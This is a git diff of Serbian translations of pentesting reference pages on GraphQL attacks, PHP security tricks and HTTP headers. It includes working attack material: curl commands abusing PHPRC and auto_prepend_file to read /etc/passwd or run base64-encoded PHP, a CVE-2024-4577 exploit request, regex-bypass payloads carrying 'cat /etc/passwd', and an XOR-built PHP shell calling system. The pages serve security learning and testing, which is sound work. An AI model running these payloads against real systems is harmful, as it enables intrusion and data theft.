Napomena je da je obično moguće poslati **query** **zahtev** takođe kao **GET** **zahtev i CSRF token možda neće biti validiran u GET zahtevu.**
Takođe, zloupotrebom [**XS-Search**](../../pentesting-web/xs-search/index.html) **napada** može biti moguće exfiltrirati sadržaj sa GraphQL krajnje tačke zloupotrebom korisničkih kredencijala.
Takođe, zloupotrebom [**XS-Search**](../../pentesting-web/xs-search/index.html) **napada** može biti moguće exfiltrirati sadržaj sa GraphQL krajnje tačke zloupotrebom korisničkih akreditiva.
Za više informacija **proverite** [**originalni post ovde**](https://blog.doyensec.com/2021/05/20/graphql-csrf.html).
@ -443,9 +443,9 @@ Za više informacija proverite:
## Autorizacija u GraphQL
Mnoge GraphQL funkcije definisane na krajnjoj tački mogu samo proveravati autentifikaciju zahtevača, ali ne i autorizaciju.
Mnoge GraphQL funkcije definisane na krajnjoj tački mogu samo proveravati autentifikaciju zahteva, ali ne i autorizaciju.
Modifikovanje ulaznih varijabli upita može dovesti do osetljivih podataka o računu [leakovanih](https://hackerone.com/reports/792927).
Modifikovanje ulaznih varijabli upita može dovesti do osetljivih podataka o računu [leak](https://hackerone.com/reports/792927).
Mutacija može čak dovesti do preuzimanja računa pokušavajući da modifikuje podatke o drugom računu.
```javascript
@ -465,11 +465,11 @@ U donjem primeru možete videti da je operacija "forgotPassword" i da bi trebala
## Zaobilaženje ograničenja brzine korišćenjem aliasa u GraphQL
U GraphQL-u, aliasi su moćna funkcija koja omogućava **izričito imenovanje svojstava** prilikom slanja API zahteva. Ova sposobnost je posebno korisna za dobijanje **više instanci istog tipa** objekta unutar jednog zahteva. Aliasi se mogu koristiti za prevazilaženje ograničenja koje sprečava GraphQL objekte da imaju više svojstava sa istim imenom.
U GraphQL-u, aliasi su moćna funkcija koja omogućava **izričito imenovanje svojstava** prilikom slanja API zahteva. Ova sposobnost je posebno korisna za preuzimanje **više instanci istog tipa** objekta unutar jednog zahteva. Aliasi se mogu koristiti za prevazilaženje ograničenja koja sprečavaju GraphQL objekte da imaju više svojstava sa istim imenom.
Za detaljno razumevanje GraphQL aliasa, preporučuje se sledeći resurs: [Aliases](https://portswigger.net/web-security/graphql/what-is-graphql#aliases).
Za detaljno razumevanje GraphQL aliasa, preporučuje se sledeći resurs: [Aliasi](https://portswigger.net/web-security/graphql/what-is-graphql#aliases).
Dok je primarna svrha aliasa da smanji potrebu za brojnim API pozivima, identifikovan je nenamerni slučaj upotrebe gde se aliasi mogu iskoristiti za izvođenje brute force napada na GraphQL endpoint. Ovo je moguće jer su neki endpointi zaštićeni ograničivačima brzine dizajniranim da spreče brute force napade ograničavanjem **broja HTTP zahteva**. Međutim, ovi ograničivači brzine možda ne uzimaju u obzir broj operacija unutar svakog zahteva. S obzirom na to da aliasi omogućavaju uključivanje više upita u jedan HTTP zahtev, mogu zaobići takve mere ograničenja brzine.
Dok je primarna svrha aliasa da smanji potrebu za brojnim API pozivima, identifikovan je neplanirani slučaj upotrebe gde se aliasi mogu iskoristiti za izvođenje brute force napada na GraphQL endpoint. Ovo je moguće jer su neki endpointi zaštićeni ograničivačima brzine dizajniranim da spreče brute force napade ograničavanjem **broja HTTP zahteva**. Međutim, ovi ograničivači brzine možda ne uzimaju u obzir broj operacija unutar svakog zahteva. S obzirom na to da aliasi omogućavaju uključivanje više upita u jedan HTTP zahtev, mogu zaobići takve mere ograničenja brzine.
Razmotrite primer dat ispod, koji ilustruje kako se mogu koristiti aliasovani upiti za verifikaciju validnosti kodova za popust u prodavnici. Ova metoda bi mogla zaobići ograničenje brzine jer kompilira nekoliko upita u jedan HTTP zahtev, potencijalno omogućavajući verifikaciju više kodova za popust istovremeno.
```bash
@ -486,7 +486,7 @@ valid
}
}
```
## DoS u GraphQL-u
## DoS u GraphQL
### Preopterećenje Alias-a
@ -539,7 +539,7 @@ I zatim **koristite neke od prilagođenih**.
### **Ranljivost duplikacije polja**
**Duplikacija polja** je ranljivost gde GraphQL server dozvoljava upite sa istim poljem ponovljenim prekomerno. Ovo prisiljava server da rešava polje suvišno za svaku instancu, trošeći značajne resurse (CPU, memoriju i pozive ka bazi podataka). Napadač može kreirati upite sa stotinama ili hiljadama ponovljenih polja, uzrokujući visoko opterećenje i potencijalno dovodeći do **Odbijanja usluge (DoS)**.
**Duplikacija polja** je ranljivost gde GraphQL server dozvoljava upite sa istim poljem ponovljenim prekomerno. Ovo prisiljava server da rešava polje suvišno za svaku instancu, trošeći značajne resurse (CPU, memoriju i pozive ka bazi podataka). Napadač može kreirati upite sa stotinama ili hiljadama ponovljenih polja, uzrokujući visoko opterećenje i potencijalno dovodeći do **Denial of Service (DoS)**.
```bash
# Test provided by https://github.com/dolevf/graphql-cop
curl -X POST -H "User-Agent: graphql-cop/1.13" -H "Content-Type: application/json" \
@ -553,13 +553,13 @@ curl -X POST -H "User-Agent: graphql-cop/1.13" -H "Content-Type: application/jso
- [https://github.com/dolevf/graphql-cop](https://github.com/dolevf/graphql-cop): Testira uobičajene greške u konfiguraciji graphql krajnjih tačaka
- [https://github.com/assetnote/batchql](https://github.com/assetnote/batchql): Skripta za bezbednosno audiranje GraphQL-a sa fokusom na izvođenje serijskih GraphQL upita i mutacija.
- [https://github.com/dolevf/graphw00f](https://github.com/dolevf/graphw00f): Prepoznaje koji se graphql koristi
- [https://github.com/gsmith257-cyber/GraphCrawler](https://github.com/gsmith257-cyber/GraphCrawler): Alat koji se može koristiti za preuzimanje šema i pretragu osetljivih podataka, testiranje autorizacije, brute force šema i pronalaženje putanja do određenog tipa.
- [https://blog.doyensec.com/2020/03/26/graphql-scanner.html](https://blog.doyensec.com/2020/03/26/graphql-scanner.html): Može se koristiti kao samostalni alat ili [Burp ekstenzija](https://github.com/doyensec/inql).
- [https://github.com/swisskyrepo/GraphQLmap](https://github.com/swisskyrepo/GraphQLmap): Može se koristiti kao CLI klijent takođe za automatizaciju napada
- [https://gitlab.com/dee-see/graphql-path-enum](https://gitlab.com/dee-see/graphql-path-enum): Alat koji navodi različite načine **dostizanja određenog tipa u GraphQL šemi**.
- [https://github.com/gsmith257-cyber/GraphCrawler](https://github.com/gsmith257-cyber/GraphCrawler): Alat koji se može koristiti za preuzimanje šema i pretragu osetljivih podataka, testiranje autorizacije, brute force šema i pronalaženje putanja do datog tipa.
- [https://blog.doyensec.com/2020/03/26/graphql-scanner.html](https://blog.doyensec.com/2020/03/26/graphql-scanner.html): Može se koristiti kao samostalan alat ili [Burp ekstenzija](https://github.com/doyensec/inql).
- [https://github.com/swisskyrepo/GraphQLmap](https://github.com/swisskyrepo/GraphQLmap): Može se koristiti kao CLI klijent takođe za automatizaciju napada: `python3 graphqlmap.py -u http://example.com/graphql --inject`
- [https://gitlab.com/dee-see/graphql-path-enum](https://gitlab.com/dee-see/graphql-path-enum): Alat koji navodi različite načine **dostizanja datog tipa u GraphQL šemi**.
- [https://github.com/doyensec/GQLSpection](https://github.com/doyensec/GQLSpection): Naslednik samostalnog i CLI moda InQL-a
- [https://github.com/doyensec/inql](https://github.com/doyensec/inql): Burp ekstenzija za napredno testiranje GraphQL-a. _**Skener**_ je srž InQL v5.0, gde možete analizirati GraphQL krajnju tačku ili lokalnu datoteku introspekcije šeme. Automatski generiše sve moguće upite i mutacije, organizujući ih u strukturirani prikaz za vašu analizu. _**Napadač**_ komponenta vam omogućava da pokrenete serijske GraphQL napade, što može biti korisno za zaobilaženje loše implementiranih ograničenja brzine.
- [https://github.com/nikitastupin/clairvoyance](https://github.com/nikitastupin/clairvoyance): Pokušajte da dobijete šemu čak i kada je introspekcija onemogućena koristeći pomoć nekih Graphql baza podataka koje će sugerisati imena mutacija i parametara.
- [https://github.com/doyensec/inql](https://github.com/doyensec/inql): Burp ekstenzija ili python skripta za napredno GraphQL testiranje. _**Skener**_ je srž InQL v5.0, gde možete analizirati GraphQL krajnju tačku ili lokalnu datoteku introspekcije šeme. Automatski generiše sve moguće upite i mutacije, organizujući ih u strukturirani prikaz za vašu analizu. _**Napadač**_ komponenta vam omogućava da izvršite serijske GraphQL napade, što može biti korisno za zaobilaženje loše implementiranih ograničenja brzine: `python3 inql.py -t http://example.com/graphql -o output.json`
- [https://github.com/nikitastupin/clairvoyance](https://github.com/nikitastupin/clairvoyance): Pokušava da dobije šemu čak i kada je introspekcija onemogućena koristeći pomoć nekih Graphql baza podataka koje će sugerisati imena mutacija i parametara.
### Klijenti

View File

@ -35,8 +35,8 @@ EN-PHP-loose-comparison-Type-Juggling-OWASP (1).pdf
- `"string" == 0 -> True` String koji ne počinje brojem je jednak broju
- `"0xAAAA" == "43690" -> True` Stringovi sastavljeni od brojeva u decimalnom ili heksadecimalnom formatu mogu se uporediti sa drugim brojevima/stringovima sa True kao rezultatom ako su brojevi isti (brojevi u stringu se tumače kao brojevi)
- `"0e3264578" == 0 --> True` String koji počinje sa "0e" i nakon toga sledi bilo šta biće jednak 0
- `"0X3264578" == 0X --> True` String koji počinje sa "0" i nakon toga sledi bilo koje slovo (X može biti bilo koje slovo) i nakon toga bilo šta biće jednak 0
- `"0e12334" == "0" --> True` Ovo je veoma zanimljivo jer u nekim slučajevima možete kontrolisati string unos "0" i neki sadržaj koji se hešira i upoređuje sa njim. Stoga, ako možete pružiti vrednost koja će stvoriti heš koji počinje sa "0e" i bez ikakvog slova, mogli biste zaobići upoređivanje. Možete pronaći **već heširane stringove** sa ovim formatom ovde: [https://github.com/spaze/hashes](https://github.com/spaze/hashes)
- `"0X3264578" == 0X --> True` String koji počinje sa "0" i nakon toga sledi bilo koje slovo (X može biti bilo koje slovo) i nakon toga sledi bilo šta biće jednak 0
- `"0e12334" == "0" --> True` Ovo je veoma zanimljivo jer u nekim slučajevima možete kontrolisati string unos "0" i neki sadržaj koji se hešira i upoređuje sa njim. Stoga, ako možete pružiti vrednost koja će kreirati heš koji počinje sa "0e" i bez ikakvog slova, mogli biste zaobići upoređivanje. Možete pronaći **već heširane stringove** sa ovim formatom ovde: [https://github.com/spaze/hashes](https://github.com/spaze/hashes)
- `"X" == 0 --> True` Svako slovo u stringu je jednako int 0
Više informacija na [https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09](https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09)
@ -62,9 +62,9 @@ if (!strcmp(array(),"real_pwd")) { echo "Real Password"; } else { echo "No Real
```
Ista greška se javlja sa `strcasecmp()`
### Strogo tipiziranje
### Strogo prebacivanje tipova
Čak i ako se koristi `===`, mogu se javiti greške koje čine **upoređivanje ranjivim** na **tipiziranje**. Na primer, ako upoređivanje **konvertuje podatke u drugi tip objekta pre upoređivanja**:
Čak i ako se koristi `===`, mogu se javiti greške koje čine da je upoređivanje **ranjivo** na **prebacivanje tipova**. Na primer, ako upoređivanje **pretvara podatke u drugi tip objekta pre nego što ih uporedi**:
```php
(int) "1abc" === (int) "1xyz" //This will be true
```
@ -74,7 +74,7 @@ Ista greška se javlja sa `strcasecmp()`
#### Bypass novog reda
Međutim, kada se deli početak regexp-a, `preg_match()` **proverava samo prvu liniju korisničkog unosa**, tako da ako nekako možete **poslati** unos u **several lines**, mogli biste da zaobiđete ovu proveru. Primer:
Međutim, kada se delimituje početak regexp-a, `preg_match()` **proverava samo prvu liniju korisničkog unosa**, tako da ako nekako možete **poslati** unos u **several lines**, mogli biste da zaobiđete ovu proveru. Primer:
```php
$myinput="aaaaaaa
11111111"; //Notice the new line
@ -93,12 +93,12 @@ Da biste zaobišli ovu proveru, možete **poslati vrednost sa novim redovima url
"cmd": "cat /etc/passwd"
}
```
Pronađite primer ovde: [https://ramadistra.dev/fbctf-2019-rceservice](https://ramadistra.dev/fbctf-2019-rceservice)
Nađite primer ovde: [https://ramadistra.dev/fbctf-2019-rceservice](https://ramadistra.dev/fbctf-2019-rceservice)
#### **Obilaženje greške u dužini**
(Ovo obilaženje je očigledno isprobano na PHP 5.2.5 i nisam mogao da ga pokrenem na PHP 7.3.15)\
Ako možete poslati `preg_match()` važeći veoma **veliki unos**, **neće moći da ga obradi** i moći ćete da **obidjete** proveru. Na primer, ako se crna lista JSON, mogli biste poslati:
Ako možete poslati `preg_match()` važeći veoma **veliki unos**, **neće moći da ga obradi** i moći ćete da **obidjete** proveru. Na primer, ako se blokira JSON, mogli biste poslati:
```bash
payload = '{"cmd": "ls -la", "injected": "'+ "a"*1000001 + '"}'
```
@ -110,7 +110,7 @@ Trik iz: [https://simones-organization-4.gitbook.io/hackbook-of-a-hacker/ctf-wri
<figure><img src="../../../images/image (26).png" alt=""><figcaption></figcaption></figure>
Ukratko, problem se dešava jer `preg_*` funkcije u PHP-u koriste [PCRE biblioteku](http://www.pcre.org/). U PCRE određene regularne izraze se podudara koristeći mnogo rekurzivnih poziva, što troši mnogo prostora na steku. Moguće je postaviti limit na broj dozvoljenih rekurzija, ali u PHP-u ovaj limit [podrazumevano iznosi 100.000](http://php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit) što je više nego što stane na stek.
Ukratko, problem nastaje jer `preg_*` funkcije u PHP-u koriste [PCRE biblioteku](http://www.pcre.org/). U PCRE određene regularne izraze se podudara koristeći mnogo rekurzivnih poziva, što troši mnogo prostora na steku. Moguće je postaviti limit na broj dozvoljenih rekurzija, ali u PHP-u ovaj limit [podrazumevano iznosi 100.000](http://php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit) što je više nego što stane na stek.
[Ova Stackoverflow tema](http://stackoverflow.com/questions/7620910/regexp-in-preg-match-function-returning-browser-error) je takođe povezana u postu gde se o ovom problemu govori detaljnije. Naš zadatak je sada bio jasan:\
**Pošaljite ulaz koji bi naterao regex da izvrši 100_000+ rekurzija, uzrokujući SIGSEGV, čineći da `preg_match()` funkcija vrati `false`, čime aplikacija misli da naš ulaz nije zlonameran, izbacujući iznenađenje na kraju payload-a nešto poput `{system(<verybadcommand>)}` da bi dobili SSTI --> RCE --> flag :)**.
@ -154,9 +154,10 @@ Check:
## More tricks
- **register_globals**: U **PHP < 4.1.1.1** ili ako je pogrešno konfigurisano, **register_globals** može biti aktivan (ili se njihovo ponašanje imitira). To implicira da u globalnim promenljivim kao što je $\_GET, ako imaju vrednost npr. $\_GET\["param"]="1234", možete mu pristupiti preko **$param. Stoga, slanjem HTTP parametara možete prepisati promenljive\*\* koje se koriste unutar koda.
- **PHPSESSION kolačići iste domene se čuvaju na istom mestu**, stoga ako unutar domene **različiti kolačići se koriste u različitim putanjama** možete učiniti da putanja **pristupi kolačiću druge putanje** postavljanjem vrednosti kolačića druge putanje.\
Na ovaj način, ako **obe putanje pristupaju promenljivoj sa istim imenom** možete učiniti da **vrednost te promenljive u putanji1 važi za putanju2**. I tada će putanja2 smatrati validnim promenljive putanje1 (dajući kolačiću ime koje odgovara njemu u putanji2).
- **PHPSESSION kolačići iste domene se čuvaju na istom mestu**, stoga ako unutar domene **različiti kolačići se koriste na različitim putanjama** možete učiniti da putanja **pristupi kolačiću druge putanje** postavljanjem vrednosti kolačića druge putanje.\
Na ovaj način, ako **obe putanje pristupaju promenljivoj sa istim imenom** možete učiniti da **vrednost te promenljive u putanji1 važi za putanju2**. I onda će putanja2 smatrati validnim promenljive putanje1 (dajući kolačiću ime koje odgovara njemu u putanji2).
- Kada imate **korisnička imena** korisnika mašine. Proverite adresu: **/\~\<USERNAME>** da vidite da li su php direktorijumi aktivirani.
- Ako php konfiguracija ima **`register_argc_argv = On`** tada se parametri upita odvojeni razmacima koriste za popunjavanje niza argumenata **`array_keys($_SERVER['argv'])`** kao da su **argumenti iz CLI**. Ovo je zanimljivo jer ako je ta **postavka isključena**, vrednost **args niza će biti `Null`** kada se pozove sa web-a jer ars niz neće biti popunjen. Stoga, ako web stranica pokuša da proveri da li se pokreće kao web ili kao CLI alat sa poređenjem poput `if (empty($_SERVER['argv'])) {`, napadač može poslati **parametre u GET zahtevu kao `?--configPath=/lalala`** i misliće da se pokreće kao CLI i potencijalno obraditi i koristiti te argumente. Više informacija u [originalnom tekstu](https://www.assetnote.io/resources/research/how-an-obscure-php-footgun-led-to-rce-in-craft-cms).
- [**LFI and RCE using php wrappers**](../../../pentesting-web/file-inclusion/index.html)
### password_hash/password_verify
@ -267,22 +268,22 @@ Da biste otkrili broj zagrada koje treba da zatvorite:
### **RCE putem .httaccess**
Ako možete da **otpremite** **.htaccess**, onda možete da **konfigurišete** nekoliko stvari i čak izvršite kod (konfigurišući da se datoteke sa ekstenzijom .htaccess mogu **izvršiti**).
Ako možete **otpremiti** **.htaccess**, onda možete **konfigurisati** nekoliko stvari i čak izvršiti kod (konfigurišući da se datoteke sa ekstenzijom .htaccess mogu **izvršiti**).
Različiti .htaccess shell-ovi mogu se naći [ovde](https://github.com/wireghoul/htshells)
### RCE putem Env Varijabli
Ako pronađete ranjivost koja vam omogućava da **modifikujete env varijable u PHP-u** (i još jednu za otpremanje datoteka, iako se možda ovo može zaobići uz više istraživanja), mogli biste da zloupotrebite ovo ponašanje da dobijete **RCE**.
Ako pronađete ranjivost koja vam omogućava da **modifikujete env varijable u PHP-u** (i još jednu za otpremanje datoteka, iako uz više istraživanja možda ovo može biti zaobiđeno), mogli biste zloupotrebiti ovo ponašanje da dobijete **RCE**.
- [**`LD_PRELOAD`**](../../../linux-hardening/privilege-escalation/index.html#ld_preload-and-ld_library_path): Ova env varijabla vam omogućava da učitate proizvoljne biblioteke prilikom izvršavanja drugih binarnih datoteka (iako u ovom slučaju možda neće raditi).
- **`PHPRC`** : Upravlja PHP-om o **tome gde da locira svoj konfiguracioni fajl**, obično nazvan `php.ini`. Ako možete da otpremite svoj konfiguracioni fajl, onda, koristite `PHPRC` da usmerite PHP ka njemu. Dodajte **`auto_prepend_file`** unos koji specificira drugu otpremanu datoteku. Ova druga datoteka sadrži normalan **PHP kod, koji se zatim izvršava** od strane PHP runtime-a pre bilo kog drugog koda.
- **`PHPRC`** : Upravlja PHP-om o **tome gde da locira svoj konfiguracioni fajl**, obično nazvan `php.ini`. Ako možete otpremiti svoj konfiguracioni fajl, onda, koristite `PHPRC` da usmerite PHP ka njemu. Dodajte **`auto_prepend_file`** unos koji specificira drugu otpremanu datoteku. Ova druga datoteka sadrži normalan **PHP kod, koji se zatim izvršava** od strane PHP runtime-a pre bilo kog drugog koda.
1. Otpremite PHP datoteku koja sadrži naš shellcode
2. Otpremite drugu datoteku, koja sadrži **`auto_prepend_file`** direktivu koja upućuje PHP preprocesor da izvrši datoteku koju smo otpremili u koraku 1
3. Postavite `PHPRC` varijablu na datoteku koju smo otpremili u koraku 2.
- Dobijte više informacija o tome kako izvršiti ovaj lanac [**iz originalnog izveštaja**](https://labs.watchtowr.com/cve-2023-36844-and-friends-rce-in-juniper-firewalls/).
- **PHPRC** - druga opcija
- Ako **ne možete da otpremite datoteke**, možete koristiti u FreeBSD "datoteku" `/dev/fd/0` koja sadrži **`stdin`**, što je **telo** zahteva poslatog na `stdin`:
- Ako **ne možete otpremiti datoteke**, možete koristiti u FreeBSD "datoteku" `/dev/fd/0` koja sadrži **`stdin`**, što je **telo** zahteva poslatog na `stdin`:
- `curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary 'auto_prepend_file="/etc/passwd"'`
- Ili da dobijete RCE, omogućite **`allow_url_include`** i dodajte datoteku sa **base64 PHP kodom**:
- `curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary $'allow_url_include=1\nauto_prepend_file="data://text/plain;base64,PD8KICAgcGhwaW5mbygpOwo/Pg=="'`
@ -294,7 +295,7 @@ Web server analizira HTTP zahteve i prosleđuje ih PHP skripti koja izvršava za
```jsx
-d allow_url_include=1 -d auto_prepend_file=php://input
```
Pored toga, moguće je injektovati "-" parametar koristeći 0xAD karakter zbog kasnije normalizacije PHP-a. Proverite primer eksploatacije iz [**ove objave**](https://labs.watchtowr.com/no-way-php-strikes-again-cve-2024-4577/):
Pored toga, moguće je injektovati "-" parametar koristeći 0xAD karakter zbog kasnije normalizacije PHP-a. Proverite primer eksploatacije iz [**ovog posta**](https://labs.watchtowr.com/no-way-php-strikes-again-cve-2024-4577/):
```jsx
POST /test.php?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1
Host: {{host}}
@ -332,9 +333,9 @@ Možete koristiti **web**[ **www.unphp.net**](http://www.unphp.net) **za deobfus
## PHP omotači i protokoli
PHP omotači i protokoli mogu vam omogućiti da **obiđete zaštite za pisanje i čitanje** u sistemu i kompromitujete ga. Za [**više informacija proverite ovu stranicu**](../../../pentesting-web/file-inclusion/index.html#lfi-rfi-using-php-wrappers-and-protocols).
PHP omotači i protokoli mogu vam omogućiti da **zaobiđete zaštite za pisanje i čitanje** u sistemu i kompromitujete ga. Za [**više informacija proverite ovu stranicu**](../../../pentesting-web/file-inclusion/index.html#lfi-rfi-using-php-wrappers-and-protocols).
## Xdebug neautentifikovani RCE
## Xdebug neautentifikovana RCE
Ako vidite da je **Xdebug** **omogućen** u `phpconfig()` izlazu, trebali biste pokušati da dobijete RCE putem [https://github.com/nqxcode/xdebug-exploit](https://github.com/nqxcode/xdebug-exploit)
@ -352,7 +353,7 @@ echo "$x ${Da}"; //Da Drums
```
## RCE zloupotreba novog $\_GET\["a"]\($\_GET\["b")
Ako na stranici možete **napraviti novi objekat proizvoljne klase** možda ćete moći da dobijete RCE, proverite sledeću stranicu da biste saznali kako:
Ako na stranici možete **napraviti novi objekat proizvoljne klase**, možda ćete moći da dobijete RCE, proverite sledeću stranicu da biste saznali kako:
{{#ref}}
php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.md
@ -375,14 +376,14 @@ $_($___); #If ¢___ not needed then $_($__), show_source(.passwd)
```
### XOR easy shell code
Prema [**ovom izveštaju** ](https://mgp25.com/ctf/Web-challenge/) moguće je generisati jednostavan shellcode na ovaj način:
Prema [**ovoj analizi** ](https://mgp25.com/ctf/Web-challenge/) moguće je generisati jednostavan shellcode na ovaj način:
```php
$_="`{{{"^"?<>/"; // $_ = '_GET';
${$_}[_](${$_}[__]); // $_GET[_]($_GET[__]);
$_="`{{{"^"?<>/";${$_}[_](${$_}[__]); // $_ = '_GET'; $_GET[_]($_GET[__]);
```
Dakle, ako možete **izvršiti proizvoljni PHP bez brojeva i slova** možete poslati zahtev poput sledećeg koristeći tu payload da izvršite proizvoljni PHP:
Dakle, ako možete **izvršiti proizvoljni PHP bez brojeva i slova** možete poslati zahtev poput sledećeg, zloupotrebljavajući taj payload da izvršite proizvoljni PHP:
```
POST: /action.php?_=system&__=cat+flag.php
Content-Type: application/x-www-form-urlencoded

View File

@ -57,7 +57,7 @@ Hop-by-hop zaglavlje je zaglavlje koje je dizajnirano da bude obrađeno i konzum
**Zaglavlja keš servera**:
- **`X-Cache`** u odgovoru može imati vrednost **`miss`** kada zahtev nije keširan i vrednost **`hit`** kada je keširan
- Slična ponašanja u zaglavlju **`Cf-Cache-Status`**
- Slično ponašanje u zaglavlju **`Cf-Cache-Status`**
- **`Cache-Control`** označava da li se resurs kešira i kada će biti sledeći put keširan: `Cache-Control: public, max-age=1800`
- **`Vary`** se često koristi u odgovoru da **označi dodatna zaglavlja** koja se tretiraju kao **deo keš ključa** čak i ako su obično bez ključa.
- **`Age`** definiše vreme u sekundama koliko je objekat bio u kešu proksija.
@ -67,7 +67,7 @@ Hop-by-hop zaglavlje je zaglavlje koje je dizajnirano da bude obrađeno i konzum
../../pentesting-web/cache-deception/
{{#endref}}
**Zaglavlja lokalnog keša**:
**Lokalna keš zaglavlja**:
- `Clear-Site-Data`: Zaglavlje koje označava keš koji treba ukloniti: `Clear-Site-Data: "cache", "cookies"`
- `Expires`: Sadrži datum/vreme kada odgovor treba da istekne: `Expires: Wed, 21 Oct 2015 07:28:00 GMT`
@ -76,15 +76,16 @@ Hop-by-hop zaglavlje je zaglavlje koje je dizajnirano da bude obrađeno i konzum
## Uslovi
- Zahtevi koji koriste ova zaglavlja: **`If-Modified-Since`** i **`If-Unmodified-Since`** biće odgovoreni sa podacima samo ako zaglavlje odgovora\*\*`Last-Modified`\*\* sadrži drugačije vreme.
- Zahtevi koji koriste ova zaglavlja: **`If-Modified-Since`** i **`If-Unmodified-Since`** će dobiti odgovor sa podacima samo ako zaglavlje odgovora\*\*`Last-Modified`\*\* sadrži drugačije vreme.
- Uslovni zahtevi koristeći **`If-Match`** i **`If-None-Match`** koriste Etag vrednost tako da web server pošalje sadržaj odgovora ako su podaci (Etag) promenjeni. `Etag` se uzima iz HTTP odgovora.
- Vrednost **Etag** se obično **izračunava** na osnovu **sadržaja** odgovora. Na primer, `ETag: W/"37-eL2g8DEyqntYlaLp5XLInBWsjWI"` označava da je `Etag` **Sha1** od **37 bajtova**.
## Zahtevi opsega
- **`Accept-Ranges`**: Označava da li server podržava zahteve opsega, i ako da, u kojoj jedinici se opseg može izraziti. `Accept-Ranges: <range-unit>`
- **`Range`**: Označava deo dokumenta koji server treba da vrati.
- **`If-Range`**: Stvara uslovni zahtev opsega koji se ispunjava samo ako dati etag ili datum odgovara udaljenom resursu. Koristi se da se spreči preuzimanje dva opsega iz nekompatibilnih verzija resursa.
- **`Range`**: Označava deo dokumenta koji server treba da vrati. Na primer, `Range:80-100` će vratiti bajtove od 80 do 100 originalnog odgovora sa status kodom 206 Partial Content. Takođe, zapamti da ukloniš `Accept-Encoding` zaglavlje iz zahteva.
- Ovo može biti korisno za dobijanje odgovora sa proizvoljnim reflektovanim javascript kodom koji bi inače mogao biti eskapiran. Ali da bi se ovo zloupotrebilo, potrebno je injektovati ova zaglavlja u zahtev.
- **`If-Range`**: Kreira uslovni zahtev opsega koji se ispunjava samo ako dati etag ili datum odgovara udaljenom resursu. Koristi se da se spreči preuzimanje dva opsega iz nekompatibilnih verzija resursa.
- **`Content-Range`**: Označava gde u punom telu poruke pripada delimična poruka.
## Informacije o telu poruke
@ -95,7 +96,7 @@ Hop-by-hop zaglavlje je zaglavlje koje je dizajnirano da bude obrađeno i konzum
- **`Content-Language`**: Opisuje ljudski jezik(e) namenjene publici, tako da omogućava korisniku da razlikuje prema vlastitom preferiranom jeziku.
- **`Content-Location`**: Označava alternativnu lokaciju za vraćene podatke.
Iz perspektive pentesta, ove informacije su obično "beskorisne", ali ako je resurs **zaštićen** 401 ili 403 i možete pronaći neki **način** da **dobijete** ove **informacije**, to bi moglo biti **zanimljivo.**\
Iz perspektive pentestinga, ove informacije su obično "beskorisne", ali ako je resurs **zaštićen** sa 401 ili 403 i možeš pronaći neki **način** da **dobiješ** ove **informacije**, to bi moglo biti **zanimljivo.**\
Na primer, kombinacija **`Range`** i **`Etag`** u HEAD zahtevu može otkriti sadržaj stranice putem HEAD zahteva:
- Zahtev sa zaglavljem `Range: bytes=20-20` i odgovorom koji sadrži `ETag: W/"1-eoGvPlkaxxP4HqHv6T3PNhV9g3Y"` otkriva da je SHA1 bajta 20 `ETag: eoGvPlkaxxP4HqHv6T3PNhV9g3Y`
@ -118,17 +119,17 @@ Content-Disposition: attachment; filename="filename.jpg"
```
Ovo znači da je datoteka pod nazivom "filename.jpg" namenjena preuzimanju i čuvanju.
## Bezbednosni Headeri
## Bezbednosni zaglavlja
### Politika Bezbednosti Sadržaja (CSP) <a href="#csp" id="csp"></a>
### Politika bezbednosti sadržaja (CSP) <a href="#csp" id="csp"></a>
{{#ref}}
../../pentesting-web/content-security-policy-csp-bypass/
{{#endref}}
### **Pouzdane vrste**
### **Poverljivi tipovi**
Sprovodeći Pouzdane vrste putem CSP-a, aplikacije se mogu zaštititi od DOM XSS napada. Pouzdane vrste osiguravaju da se samo posebno izrađeni objekti, u skladu sa uspostavljenim bezbednosnim politikama, mogu koristiti u opasnim web API pozivima, čime se podrazumevano osigurava JavaScript kod.
Sprovodeći Poverljive tipove putem CSP-a, aplikacije se mogu zaštititi od DOM XSS napada. Poverljivi tipovi osiguravaju da se samo posebno izrađeni objekti, u skladu sa uspostavljenim bezbednosnim politikama, mogu koristiti u opasnim pozivima web API-ja, čime se podrazumevano osigurava JavaScript kod.
```javascript
// Feature detection
if (window.trustedTypes && trustedTypes.createPolicy) {
@ -153,7 +154,7 @@ X-Content-Type-Options: nosniff
```
### **X-Frame-Options**
Da bi se borili protiv clickjacking-a, ovaj header ograničava kako se dokumenti mogu ugraditi u `<frame>`, `<iframe>`, `<embed>`, ili `<object>` tagove, preporučujući svim dokumentima da eksplicitno navedu svoja dopuštenja za ugradnju.
Da bi se borili protiv clickjacking-a, ovaj header ograničava kako se dokumenti mogu ugraditi u `<frame>`, `<iframe>`, `<embed>`, ili `<object>` tagove, preporučujući svim dokumentima da eksplicitno navedu svoja prava na ugradnju.
```
X-Frame-Options: DENY
```
@ -165,7 +166,7 @@ Cross-Origin-Resource-Policy: same-origin
Access-Control-Allow-Origin: https://example.com
Access-Control-Allow-Credentials: true
```
### **Cross-Origin Embedder Policy (COEP) i Cross-Origin Opener Policy (COOP)**
### **Cross-Origin Embedder Policy (COEP) and Cross-Origin Opener Policy (COOP)**
COEP i COOP su ključni za omogućavanje izolacije između različitih izvora, značajno smanjujući rizik od napada sličnih Spectre-u. Oni kontrolišu učitavanje resursa iz drugih izvora i interakciju sa prozorima iz drugih izvora, redom.
```

View File

@ -4,20 +4,20 @@
## Basic Information
**Serialization** se razume kao metoda konvertovanja objekta u format koji može biti sačuvan, sa namerom da se objekat ili sačuva ili prenese kao deo komunikacionog procesa. Ova tehnika se obično koristi da se osigura da objekat može biti ponovo kreiran u budućnosti, održavajući svoju strukturu i stanje.
**Serijalizacija** se razume kao metoda konvertovanja objekta u format koji može biti sačuvan, sa namerom da se objekat ili sačuva ili prenese kao deo komunikacionog procesa. Ova tehnika se obično koristi da se osigura da objekat može biti ponovo kreiran u budućnosti, održavajući svoju strukturu i stanje.
